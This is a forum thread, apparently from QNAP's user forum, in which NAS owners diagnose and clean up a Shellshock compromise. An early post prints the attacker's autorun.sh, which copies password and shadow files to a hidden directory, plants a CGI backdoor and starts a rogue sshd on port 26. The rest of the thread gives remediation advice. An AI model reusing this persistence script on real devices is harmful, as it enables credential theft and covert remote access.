Pnscan 100% cpu usage

[pwilson]

[admin@NAS1 ~]# mount -t ext2 /dev/mtdblock5 /tmp/config
[admin@NAS1 ~]# ls -alF /tmp/config
drwxr-xr-x 3 admin administ 1024 Dec 8 23:44 ./
drwxrwxrwx 12 admin administ 1520 Dec 12 18:47 ../
-rw-r--r-- 1 admin administ 14 Dec 8 23:25 .sys_update_time
-rw-r--r-- 1 admin administ 2 Jan 4 2013 BOOT_COUNT
-rwxr-xr-x 1 admin administ 2495 Dec 6 18:13 autorun.sh*
-rw-r--r-- 1 admin administ 27 Jan 9 2011 customise.conf
drwx------ 2 admin administ 12288 May 21 2010 lost+found/
-rw-r--r-- 1 admin administ 4559 Dec 8 23:44 smb.conf
-rw-r--r-- 1 admin administ 11 Dec 8 23:44 smb.conf.cksum
-rw-r--r-- 1 admin administ 37 Dec 8 23:44 system.map.key
-rw-r--r-- 1 admin administ 6579 Dec 8 23:15 uLinux.conf
[admin@NAS1 ~]# cat /tmp/config/autorun.sh


# adding Ipkg apps into system path ...
/share/MD0_DATA/optware/.xpl/.cgi
cp /etc/TZ /share/MD0_DATA/optware/etc
cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc
cp /etc/hostname /share/MD0_DATA/optware/etc
cp /etc/resolv.conf /share/MD0_DATA/optware/etc
cp /share/MD0_DATA/optware/.xpl/.exo.cgi /home/httpd/cgi-bin/exo.cgi
export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
ln -sf /share/MD0_DATA/optware/opt /opt
mount -o bind /dev /share/MD0_DATA/optware/dev
mount -o bind /proc /share/MD0_DATA/optware/proc
mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb
rm -rf /opt
sleep 200 && sh /share/MD0_DATA/optware/.xpl/run &
sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &
sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &
sleep 200 && sh /share/MD0_DATA/optware/.xpl/run &
cp /etc/resolv.conf /share/MD0_DATA/optware/etc
cp /etc/hostname /share/MD0_DATA/optware/etc
cp /etc/TZ /share/MD0_DATA/optware/etc
cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc
rm -rf /opt
ln -sf /share/MD0_DATA/optware/opt /opt

mount -o bind /dev /share/MD0_DATA/optware/dev
mount -o bind /proc /share/MD0_DATA/optware/proc
mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb
mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public
# adding Ipkg apps into system path ...
export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
[admin@NAS1 ~]#

It looks very similar to the above output as far as I can see.

Same hack?

Yes. Same Hack. Same resolution. Same advice about using depreciated/insecure Firmware. Same advice to remove it.

[DavidManley]

I sent a reply but it somehow got converted to "forum banned me".

I've had this same issue, foolishly I'd turned off the advise of update notification at some point.

Have the exact same symptoms above and worry that there may be many more out there. Stupidly I made a point of updating my Qnap in the office after shellshock/heartbleed but didn't do the home one although I really did think I had.

Trying to work out how to back up the data that only exists on my qnap before resetting it.

[DavidManley]

Patrick,

Something I have noticed, and the same with the other guys who've pasted, the uLinux.conf was updated shortly after the autorun.sh was created. Could I send you a copy of mine, or pasted here if I redact certain bits, so you could identify if any settings are on there that could be causing an issue. Again like the autorun I assume they will stay regardless of a reset.

Thanks,

Dave

[pwilson]

I sent a reply but it somehow got converted to "forum banned me".

I've had this same issue, foolishly I'd turned off the advise of update notification at some point.

Have the exact same symptoms above and worry that there may be many more out there. Stupidly I made a point of updating my Qnap in the office but didn't do the home one although I really did think I had.

Trying to work out how to back up the data that only exists on my qnap before resetting it.

Have you at least removed the problem "autorun.sh" file, and rebooted? You can take your time doing the backup, but you should remove the "backdoor(s)" immediately, in order to prevent the new "owner" of your NAS from doing further damage. You have provided no information, so we have no way of knowing if your NAS has been hijacked or not.

You are using a QNAP Intel-based model, so your "autorun.sh" file lives in a different place than on the ARM-based models.

Please provide output for the commands:

Code: Select all

fdisk -lu 2> /dev/null | grep sdx
fdisk -lu 2> /dev/null | grep $(getcfg system 'System Device')

[DavidManley]

Sorry Patrick - the one in my profile is the work NAS. I've also got a 412 and have done the same as the above posters. I had exactly the same autorun.sh files and the same references to optware etc.

I've cleaned it as per your instructions and now applied the latest firmware. I can confirm that the problem files in the flash area haven't reappeared following the reboot.

[pwilson]

Sorry Patrick - the one in my profile is the work NAS. I've also got a 412 and have done the same as the above posters. I had exactly the same autorun.sh files and the same references to optware etc.

I've cleaned it as per your instructions and now applied the latest firmware. I can confirm that the problem files in the flash area haven't reappeared following the reboot.

Awesome news. I'm glad you are making progress. BTW, there are some very legitimate uses for an "autorun.sh" file, provided you write it. I have always used an "autorun.sh" file on my NAS (hence my knowledge about this file).

You are on the right track. Now that you know you've removed the malicious "autorun.sh" file, you can wipe your NAS, and start again. Be very careful with restoring your backups, so that you don't re-install any of the malicious code on your NAS.

[DavidManley]

Picked up a 3TB USB drive last night which is near enough big enough to copy all my data too - plenty by the time I do some housekeeping.

Shame my nas doesn't have USB3.0 but no matter, currently hooked the USB up to my mac and transferring over the network. Have been careful to only pick the directories that I know are mine at the tier 1 and tier 2 levels at least so I should be fine. Just relieved that Mr Hacker didn't fancy "rm -r" on the lot. As irritating as this all is it's a good lesson and you kinda have to admire the skills required to do it.

I'm interested to know how he/she identified all the qnap devices - wondering it if it was via download manager connections or if it was more indiscriminate that that. Does the download manager identify the client as QNAP, can't say I've looked. If so is there any way of spoofing that name to be something less obvious?

Just some thoughts really, main one will be keeping the firmware up-to-date. Would you recommend using beta releases to help minimize the risk?

[pwilson]

Picked up a 3TB USB drive last night which is near enough big enough to copy all my data too - plenty by the time I do some housekeeping.

Shame my nas doesn't have USB3.0 but no matter, currently hooked the USB up to my mac and transferring over the network. Have been careful to only pick the directories that I know are mine at the tier 1 and tier 2 levels at least so I should be fine. Just relieved that Mr Hacker didn't fancy "rm -r" on the lot. As irritating as this all is it's a good lesson and you kinda have to admire the skills required to do it.

I'm interested to know how he/she identified all the qnap devices - wondering it if it was via download manager connections or if it was more indiscriminate that that. Does the download manager identify the client as QNAP, can't say I've looked. If so is there any way of spoofing that name to be something less obvious?

Just some thoughts really, main one will be keeping the firmware up-to-date. Would you recommend using beta releases to help minimize the risk?

Mr Hacker is probably using scripts to "harvest" Shellshock susceptible Linux/UNIX machines, and then started attacking them. Besides why would Mr Hacker want to delete all the files on "his" new NAS. He is far better off, to simply keep enjoying it, and using it to distribute his "Warez" etc using your Internet connection, reputation, and NAS.

QNAP no longer lists technical specifications on older models, so I was unable to determine whether or not your TS-412 supports eSATA. Yes, USB2.0 is slow. Not much you can do about that except to upgrade to a newer NAS model. Please understand this is not a QNAP issue at all. Any unpatched Linux machine can fall victim to Shellshock. Keeping up with Security patches is the only method you have to protect yourself.

Many QNAP owners don't understand that the "autorun.sh" capability is even present on the NAS, so this "malicious hack" is very cruel indeed. I'm sure many QNAP owners will simply apply the Security patch "after the fact" which will provide no relief whatsoever, as the "malicious code" will continue to provide "Hacker NAS access" to the NAS even after a complete Wipe/Start-from-scratch effort, and even after applying the Shellshock patch, if the "malicous" code isn't removed from the Flash/DoM of the NAS first.

Whoever crafted this hack, is very knowledgable about QNAP's, especially the "autorun.sh" capability, so they are "preying" on people by taking advantage of the fact that many QNAP NASAdmins aren't aware of this feature. Your best protection is to keep your Firmware current, and backup your NAS frequently.

Invest in a USB3.0/eSATA Drive Dock. This will permit you to backup to "loose" drives, without incurring the expense of purchasing multiple drive enclosures for your Backup media. (Your NAS may only be USB2.0, but I bet your other devices support USB3.0 and/or eSATA. These devices are cheap I paid less than $50.00USD for mine).



I hope some of this advice is helpful to you.

[Salegy1]

An Urgent Fix on the Reported Infection of a Variant of GNU Bash Environment Variable Command Injection Vulnerability

http://www.qnap.com/i/en/support/con_show.php?cid=74

[oab2]

An Urgent Fix on the Reported Infection of a Variant of GNU Bash Environment Variable Command Injection Vulnerability

http://www.qnap.com/i/en/support/con_show.php?cid=74

Doesn't Method 2 make it sound like you can avoid a disk initialization? I thought regardless of method this was required? Since this hack installed an SSH key I would think the avoidance of wiping and starting over would still leave a back door wide open. Or am I misreading Method 2?

Another question I have as I have been following this development is in the German post http://forum.qnapclub.de/viewtopic.php? ... 50#p188289 they suggest doing a firmware recovery http://wiki.qnap.com/wiki/Firmware_Recovery but the wipe that Qnap Support lists is just an initialization with a RAID clearing (but only on Method 1). So which is it? Is the Firmware Recovery step too much and just pulling the drives and doing a Re-initialization enough? I guess I don't fully understand the difference between the two.

[pwilson]

An Urgent Fix on the Reported Infection of a Variant of GNU Bash Environment Variable Command Injection Vulnerability

http://www.qnap.com/i/en/support/con_show.php?cid=74

Doesn't Method 2 make it sound like you can avoid a disk initialization? I thought regardless of method this was required? Since this hack installed an SSH key I would think the avoidance of wiping and starting over would still leave a back door wide open. Or am I misreading Method 2?

Another question I have as I have been following this development is in the German post http://forum.qnapclub.de/viewtopic.php? ... 50#p188289 they suggest doing a firmware recovery http://wiki.qnap.com/wiki/Firmware_Recovery but the wipe that Qnap Support lists is just an initialization with a RAID clearing (but only on Method 1). So which is it? Is the Firmware Recovery step too much and just pulling the drives and doing a Re-initialization enough? I guess I don't fully understand the difference between the two.

If you have very strong Linux skills, you can attempt to find all the "malicious" files yourself, and delete them. (I've been running Linux for 24 years, so I could probably handle it). Personally I like to "assume" that the Hacker is smarter than I am, so I would not attempt this. Removing the "autorun.sh" code is easy enough to do, which prevents the malicious code from "auto-running" at startup, but you have no idea what other files the Hacker has screwed with.

I doubt anyone (myself included) can 100% certify that all malicious code has been removed. The only way to ensure that the malicious code is "gone" is to remove "all" code. (ie Start from scratch).

Sorry, but my advice is "Wipe/Start from scratch". (Better "safe" now than "sorry" later). Shellshock is "how" they got "in", but what they did while they were "in" is anyone's guess.

[oab2]

Thanks Patrick,

My question wasn't should I / shouldn't I do a wipe. It was "Does their critical fix Method 2" appear to suggest one could avoid a wipe? It was more critical evaluation of their urgent fix that I fear could leave some vulnerabilities (one could take method 2 and think that 2 deletions is enough, though you are clear that is not the case!).

Also about my question in regard FW recovery or Qnap's suggested reinitialization: is there a difference in the outcome? Really I am just wondering how the two differ?

[pwilson]

Thanks Patrick,

My question wasn't should I / shouldn't I do a wipe. It was "Does their critical fix Method 2" appear to suggest one could avoid a wipe? It was more critical evaluation of their urgent fix that I fear could leave some vulnerabilities (one could take method 2 and think that 2 deletions is enough, though you are clear that is not the case!).

Also about my question in regard FW recovery or Qnap's suggested reinitialization: is there a difference in the outcome? Really I am just wondering how the two differ?

You can use either method in QNAP Security Bulletin: An Urgent Fix on the Reported Infection of a Variant of GNU Bash Environment Variable Command Injection Vulnerability to remove the "autorun.sh" file, but this does nothing to resolve whatever changes the "hacker" did to the NAS after they gained access to it.

Closing the barn after the cows have left is pretty pointless..... If your NAS has been compromised, then Wipe/Rebuild is the only way of removing the "malicious code" installed after they broke in. Simply fixing the problem that gave them access is not enough. As evidenced by the output of other "victims" of this issue, the hacker is installing multiple "backdoors" on the NAS.